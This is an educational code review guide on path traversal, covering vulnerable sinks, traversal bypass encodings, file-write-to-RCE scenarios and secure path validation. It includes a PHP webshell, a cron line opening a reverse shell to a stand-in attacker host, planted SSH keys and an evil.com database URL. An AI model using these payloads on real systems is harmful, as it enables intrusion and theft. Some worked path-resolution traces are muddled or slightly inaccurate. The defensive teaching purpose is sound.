Path Traversal Code Review Guide
Table of Contents
Introduction
Path traversal (also known as directory traversal or dot-dot-slash attacks) allows attackers to access files outside the intended directory by manipulating file paths. This vulnerability can lead to sensitive data exposure, source code leakage, and in severe cases, remote code execution.
Path traversal consistently ranks among the most common web vulnerabilities. It occurs whenever an application uses user-supplied input to construct file paths without proper validation, allowing attackers to "escape" the intended directory using sequences like "../".
High Impact Vulnerability
Path traversal can expose /etc/passwd, database credentials, API keys, source code, and private keys. When combined with file write capabilities, it often leads to remote code execution through webshell upload or configuration file manipulation.
What does the sequence '../' do in a file path?
How Path Traversal Works
Path traversal exploits the way operating systems resolve relative paths. When a file path contains "../", the OS interprets it as "go up one directory level". By carefully crafting input with multiple "../" sequences, attackers can navigate to any location on the file system.
Path Traversal Attack Flow
GET /download?file=report.pdf→ /var/www/app/uploads/report.pdfGET /download?file=../../../etc/passwd→ /var/www/app/uploads/../../../etc/passwd→ /etc/passwd (escaped!)Impact: Path traversal can expose sensitive files like /etc/passwd, configuration files with credentials, source code, or even allow arbitrary file writes leading to code execution.
Path Resolution Example
1# Starting directory: /var/www/app/uploads/
2
3# User input: "report.pdf"
4# Resolved path: /var/www/app/uploads/report.pdf ✓ Safe
5
6# User input: "../config.php"
7# Resolved path: /var/www/app/uploads/../config.php
8# = /var/www/app/config.php ✗ Escaped!
9
10# User input: "../../../../etc/passwd"
11# Resolved path: /var/www/app/uploads/../../../../etc/passwd
12# = /etc/passwd ✗ System file exposed!
13
14# Path resolution steps:
15/var/www/app/uploads/../../../../etc/passwd
16/var/www/app/uploads/../../../etc/passwd (up from uploads)
17/var/www/app/../../etc/passwd (up from app)
18/var/www/../etc/passwd (up from www)
19/var/etc/passwd (up from var)
20Wait, that's wrong! Let's trace again:
21/var/www/app/uploads + /../../../.. + /etc/passwd
22= /var/www/app + /../../.. + /etc/passwd (1 up)
23= /var/www + /../.. + /etc/passwd (2 up)
24= /var + /.. + /etc/passwd (3 up)
25= / + + /etc/passwd (4 up, hit root)
26= /etc/passwdCommon Target Files
| File | OS | Contains |
|---|---|---|
| /etc/passwd | Linux | User accounts (enumeration) |
| /etc/shadow | Linux | Password hashes (if readable) |
| /etc/hosts | Linux | Host mappings |
| ~/.ssh/id_rsa | Linux | SSH private keys |
| ~/.bash_history | Linux | Command history |
| /proc/self/environ | Linux | Environment variables |
| C:\Windows\win.ini | Windows | Windows config (PoC) |
| C:\inetpub\wwwroot\web.config | Windows | IIS configuration |
| .env | Any | Application secrets |
| config/database.yml | Any | Database credentials |
Why is /etc/passwd commonly used as a proof-of-concept target?
Vulnerable Code Patterns
Path traversal vulnerabilities occur when user input is concatenated directly into file paths. During code review, look for any file system operations that incorporate user-controlled data.
Vulnerable Patterns - Node.js
1// VULNERABLE: Direct concatenation
2app.get('/download', (req, res) => {
3 const filename = req.query.file;
4 const filepath = './uploads/' + filename; // Path traversal!
5 res.sendFile(filepath);
6});
7
8// VULNERABLE: Template literal
9app.get('/avatar/:username', (req, res) => {
10 const path = `./avatars/${req.params.username}.png`; // Vulnerable!
11 res.sendFile(path);
12});
13
14// VULNERABLE: path.join does NOT prevent traversal!
15const filepath = path.join('./uploads', req.query.file);
16// path.join('../../../etc/passwd') = '../../../etc/passwd'
17// It normalizes but doesn't restrict!
18
19// VULNERABLE: Reading file contents
20app.get('/view', (req, res) => {
21 const content = fs.readFileSync('./docs/' + req.query.doc);
22 res.send(content);
23});
24
25// VULNERABLE: File inclusion
26const template = req.query.template;
27require('./templates/' + template); // LFI to RCE!Vulnerable Patterns - Python
1# VULNERABLE: Direct concatenation
2@app.route('/download')
3def download():
4 filename = request.args.get('file')
5 filepath = f'./uploads/{filename}' # Path traversal!
6 return send_file(filepath)
7
8# VULNERABLE: os.path.join does NOT prevent traversal!
9filepath = os.path.join('./uploads', filename)
10# If filename starts with '/', it ignores the base!
11# os.path.join('./uploads', '/etc/passwd') = '/etc/passwd'
12
13# VULNERABLE: Template rendering
14template_name = request.args.get('template')
15return render_template(f'themes/{template_name}')
16
17# VULNERABLE: File operations
18with open(f'./data/{user_input}', 'r') as f:
19 content = f.read()
20
21# VULNERABLE: Import/exec
22module = __import__(f'plugins.{user_input}')Vulnerable Patterns - Java
1// VULNERABLE: Direct concatenation
2@GetMapping("/download")
3public ResponseEntity<Resource> download(@RequestParam String file) {
4 Path path = Paths.get("uploads/" + file); // Vulnerable!
5 Resource resource = new FileSystemResource(path.toFile());
6 return ResponseEntity.ok().body(resource);
7}
8
9// VULNERABLE: Paths.get normalizes but doesn't restrict
10Path path = Paths.get("uploads", userInput);
11// Paths.get("uploads", "../../../etc/passwd")
12// = "../../../etc/passwd" (relative) or resolves to /etc/passwd
13
14// VULNERABLE: File operations
15File file = new File(baseDir, userInput);
16FileInputStream fis = new FileInputStream(file);
17
18// VULNERABLE: Including JSP
19String page = request.getParameter("page");
20request.getRequestDispatcher("/WEB-INF/views/" + page + ".jsp")
21 .include(request, response);path.join / os.path.join Misconception
Many developers believe path.join() or os.path.join() prevents path traversal. This is FALSE! These functions normalize paths but do NOT restrict traversal. In Python, if the second argument is absolute (starts with /), it completely ignores the first argument.
What does os.path.join('/uploads', '/etc/passwd') return in Python?
Finding Vulnerable Sinks
During code review, systematically search for file system operations that could be vulnerable. These "sinks" are where user input reaches the file system.
Path Traversal Sinks by Language
| Language | Vulnerable Functions/Methods |
|---|---|
| Node.js | fs.readFile, fs.readFileSync, fs.writeFile, fs.createReadStream, res.sendFile, require() |
| Python | open(), os.path.join(), send_file(), render_template(), __import__(), exec() |
| Java | new File(), Paths.get(), FileInputStream, FileOutputStream, getResource(), include() |
| PHP | include(), require(), fopen(), file_get_contents(), readfile(), file() |
| Ruby | File.open(), File.read(), send_file(), render() |
| Go | os.Open(), ioutil.ReadFile(), http.ServeFile(), filepath.Join() |
Code Review Search Patterns
1# Grep patterns to find potential sinks
2
3# Node.js
4grep -rn "fs\.read" --include="*.js"
5grep -rn "sendFile" --include="*.js"
6grep -rn "createReadStream" --include="*.js"
7grep -rn "require\s*\(" --include="*.js"
8
9# Python
10grep -rn "open\s*\(" --include="*.py"
11grep -rn "send_file" --include="*.py"
12grep -rn "os\.path" --include="*.py"
13grep -rn "render_template" --include="*.py"
14
15# Java
16grep -rn "new File\s*\(" --include="*.java"
17grep -rn "Paths\.get" --include="*.java"
18grep -rn "FileInputStream" --include="*.java"
19grep -rn "getResource" --include="*.java"
20
21# PHP
22grep -rn "include\|require\|fopen\|file_get_contents" --include="*.php"
23
24# Then trace backwards: Does user input flow to these sinks?Tracing User Input to Sinks
1// Step 1: Find the sink
2app.get('/api/files/:category/:filename', async (req, res) => {
3 // ...
4 const content = fs.readFileSync(filepath); // SINK found!
5 // ...
6});
7
8// Step 2: Trace back to find where filepath comes from
9app.get('/api/files/:category/:filename', async (req, res) => {
10 const { category, filename } = req.params; // USER INPUT
11 const filepath = path.join('./files', category, filename); // VULNERABLE
12 const content = fs.readFileSync(filepath); // SINK
13 res.send(content);
14});
15
16// Step 3: Verify the vulnerability
17// Request: GET /api/files/docs/../../../etc/passwd
18// filepath = path.join('./files', 'docs', '../../../etc/passwd')
19// filepath = './files/docs/../../../etc/passwd'
20// filepath = '../etc/passwd' (normalized)
21// fs.readFileSync('../etc/passwd') → reads /etc/passwd!
22
23// BOTH category AND filename are vulnerable entry points!When reviewing code for path traversal, what should you trace?
Bypass Techniques
Weak path traversal protections can often be bypassed. Understanding these techniques helps you evaluate whether security controls are actually effective.
Common Filter Bypass Techniques
../ → %2e%2e%2f
../ → %2e%2e/
../ → ..%2f
../ → %252e%252e%252f (double)../../../etc/passwd%00.pdf
../../../etc/passwd\0.jpg
(Truncates at null in some languages)....// → ../ (after removing ../)
..././ → ../ (after removing ./)
/var/www/../../../etc/passwdWindows: ..\\..\\..
Windows: ..%5c..%5c..
UNC: \\\\server\\share\\fileBypass Techniques
1# 1. URL ENCODING
2../ → %2e%2e%2f
3../ → %2e%2e/
4../ → ..%2f
5../ → %2e%2e%5c (Windows)
6
7# Double encoding (if decoded twice)
8../ → %252e%252e%252f
9
10# 2. NULL BYTE (older languages/versions)
11../../../etc/passwd%00.png
12../../../etc/passwd\x00.jpg
13# Null byte terminates string in C-based parsers
14# Extension check sees ".png", fopen sees "/etc/passwd"
15
16# 3. FILTER EVASION
17# If filter removes "../":
18....// → ../ (after removing ../)
19..././ → ../ (after removing ./)
20....\\// → ..\ (Windows)
21
22# If filter checks start of path:
23/var/www/uploads/../../../etc/passwd # Starts with allowed dir
24
25# 4. UNICODE NORMALIZATION
26..%c0%af → ../ (overlong UTF-8)
27..%ef%bc%8f → ../ (fullwidth slash)
28%2e%2e%c0%af → ../
29
30# 5. ABSOLUTE PATH (Python os.path.join)
31/etc/passwd → Ignores base directory entirely!
32
33# 6. WINDOWS-SPECIFIC
34..\..\..\windows\win.ini
35..%5c..%5c..%5cwindows%5cwin.ini
36....\\ → ..\ (after removing ..\)
37
38# 7. PATH TRUNCATION (older systems)
39../../../etc/passwd/./././[repeat]./file.txt
40# Some systems truncate long pathsWhy Blocklist Filtering Fails
1// WEAK: Blocklist approach - easily bypassed
2function sanitizePath(input) {
3 // Remove "../" sequences
4 return input.replace(/\.\.\//g, '');
5}
6// Bypass: "....//etc/passwd" → "../etc/passwd"
7// Bypass: "..%2f..%2f" (URL encoded, not caught)
8
9// WEAK: Single replacement
10function sanitizePath(input) {
11 return input.replace('../', '');
12}
13// Bypass: "..././etc/passwd" → "../etc/passwd"
14
15// WEAK: Extension whitelist only
16function validateFile(filename) {
17 if (!filename.endsWith('.pdf')) {
18 throw new Error('Invalid file type');
19 }
20 return filename;
21}
22// Bypass: "../../../etc/passwd%00.pdf" (null byte)
23// Bypass: "../../../etc/passwd/.pdf" (some systems)
24
25// WEAK: Checking for ".." anywhere
26function sanitizePath(input) {
27 if (input.includes('..')) {
28 throw new Error('Invalid path');
29 }
30 return input;
31}
32// Bypass with URL encoding: "%2e%2e%2fetc%2fpasswd"
33// Application decodes AFTER this check!Why does '....//etc/passwd' bypass a filter that removes '../'?
File Write Attacks
Path traversal affecting file write operations is especially dangerous. Instead of just reading files, attackers can overwrite critical files or create new files in sensitive locations, often leading to remote code execution.
Vulnerable File Write Patterns
1// VULNERABLE: User controls filename for upload
2app.post('/upload', upload.single('file'), (req, res) => {
3 const filename = req.body.filename || req.file.originalname;
4 const filepath = path.join('./uploads', filename);
5 fs.renameSync(req.file.path, filepath); // Path traversal!
6});
7// Attack: filename = "../../../var/www/html/shell.php"
8
9// VULNERABLE: User controls both path and content
10app.post('/save', (req, res) => {
11 const { filename, content } = req.body;
12 fs.writeFileSync(`./data/${filename}`, content);
13});
14// Attack: filename = "../config.js", content = malicious code
15
16// VULNERABLE: Log file path controlled by user
17app.post('/log', (req, res) => {
18 const logFile = req.body.logFile || 'app.log';
19 fs.appendFileSync(`./logs/${logFile}`, req.body.message);
20});
21// Attack: logFile = "../../../etc/cron.d/malicious"File Write to RCE Scenarios
1# SCENARIO 1: Webshell Upload
2Target: ../../../var/www/html/shell.php
3Content: <?php system($_GET['cmd']); ?>
4Access: http://target.com/shell.php?cmd=whoami
5
6# SCENARIO 2: Cron Job (Linux)
7Target: ../../../etc/cron.d/backdoor
8Content: * * * * * root /bin/bash -c 'bash -i >& /dev/tcp/attacker/4444 0>&1'
9Wait for cron to execute (runs every minute)
10
11# SCENARIO 3: SSH Authorized Keys
12Target: ../../../home/user/.ssh/authorized_keys
13Content: ssh-rsa AAAAB3...attacker-key... attacker@evil
14SSH in with attacker's private key
15
16# SCENARIO 4: Overwrite Application Code
17Target: ../../../var/www/app/routes/admin.js
18Content: Modified code with backdoor
19Server restart loads malicious code
20
21# SCENARIO 5: Configuration Poisoning
22Target: ../../../var/www/app/.env
23Content: DATABASE_URL=mysql://attacker:pass@evil.com/db
24Application connects to attacker's databaseWrite Vulnerabilities Are Critical
File write path traversal almost always leads to RCE. Even if direct code execution is not possible, attackers can overwrite configuration files, scheduled tasks, or SSH keys. Treat file write traversal as Critical severity.
Why is file write path traversal more dangerous than file read?
Prevention Techniques
Effective path traversal prevention requires multiple layers. The key principle is: never trust user input to construct file paths, and always validate the resolved path is within the expected directory.
Secure Implementation - Node.js
1const path = require('path');
2const fs = require('fs');
3
4// SECURE: Validate resolved path is within allowed directory
5function secureFilePath(baseDir, userInput) {
6 // Resolve to absolute paths
7 const base = path.resolve(baseDir);
8 const requested = path.resolve(baseDir, userInput);
9
10 // Check that resolved path starts with base directory
11 if (!requested.startsWith(base + path.sep)) {
12 throw new Error('Path traversal detected');
13 }
14
15 // Additional: Check file exists and is a file (not directory)
16 const stats = fs.statSync(requested);
17 if (!stats.isFile()) {
18 throw new Error('Not a file');
19 }
20
21 return requested;
22}
23
24// Usage
25app.get('/download', (req, res) => {
26 try {
27 const filepath = secureFilePath('./uploads', req.query.file);
28 res.sendFile(filepath);
29 } catch (err) {
30 res.status(400).json({ error: 'Invalid file path' });
31 }
32});
33
34// ALTERNATIVE: Use allowlist of filenames
35const ALLOWED_FILES = new Set(['report.pdf', 'data.csv', 'image.png']);
36
37app.get('/download', (req, res) => {
38 const filename = req.query.file;
39
40 // Only allow specific filenames
41 if (!ALLOWED_FILES.has(filename)) {
42 return res.status(404).json({ error: 'File not found' });
43 }
44
45 res.sendFile(path.join('./uploads', filename));
46});
47
48// ALTERNATIVE: Use ID mapping instead of filenames
49app.get('/download/:id', async (req, res) => {
50 const fileRecord = await db.files.findById(req.params.id);
51 if (!fileRecord) {
52 return res.status(404).json({ error: 'File not found' });
53 }
54
55 // Filename never controlled by user
56 res.sendFile(fileRecord.storagePath);
57});Secure Implementation - Python
1import os
2from pathlib import Path
3from flask import abort
4
5def secure_file_path(base_dir: str, user_input: str) -> Path:
6 """Safely resolve a file path within a base directory."""
7
8 # Resolve to absolute paths
9 base = Path(base_dir).resolve()
10 requested = (base / user_input).resolve()
11
12 # Ensure the resolved path is within base directory
13 # Using is_relative_to (Python 3.9+)
14 if not requested.is_relative_to(base):
15 raise ValueError("Path traversal detected")
16
17 # For Python < 3.9:
18 # try:
19 # requested.relative_to(base)
20 # except ValueError:
21 # raise ValueError("Path traversal detected")
22
23 # Check file exists
24 if not requested.is_file():
25 raise FileNotFoundError("File not found")
26
27 return requested
28
29# Usage
30@app.route('/download')
31def download():
32 try:
33 filepath = secure_file_path('./uploads', request.args.get('file', ''))
34 return send_file(filepath)
35 except (ValueError, FileNotFoundError) as e:
36 abort(404)
37
38# SECURE: realpath comparison
39def is_safe_path(base_dir, user_path):
40 """Check if the path is safely within the base directory."""
41 # realpath resolves all symlinks and normalizes
42 base = os.path.realpath(base_dir)
43 requested = os.path.realpath(os.path.join(base_dir, user_path))
44
45 # Must start with base directory + separator
46 return requested.startswith(base + os.sep)Prevention Checklist
| Control | Implementation | Priority |
|---|---|---|
| Resolve and validate | Compare resolved path against base directory | Critical |
| Use IDs, not names | Map file IDs to paths in database | High |
| Allowlist filenames | Only permit specific known filenames | High |
| Strip path separators | Remove / and \ from user input | Medium |
| Chroot/sandbox | Restrict process to specific directory | Medium |
| Validate extensions | After path resolution, verify extension | Medium |
| Logging | Log and alert on traversal attempts | Medium |
What is the most reliable way to prevent path traversal?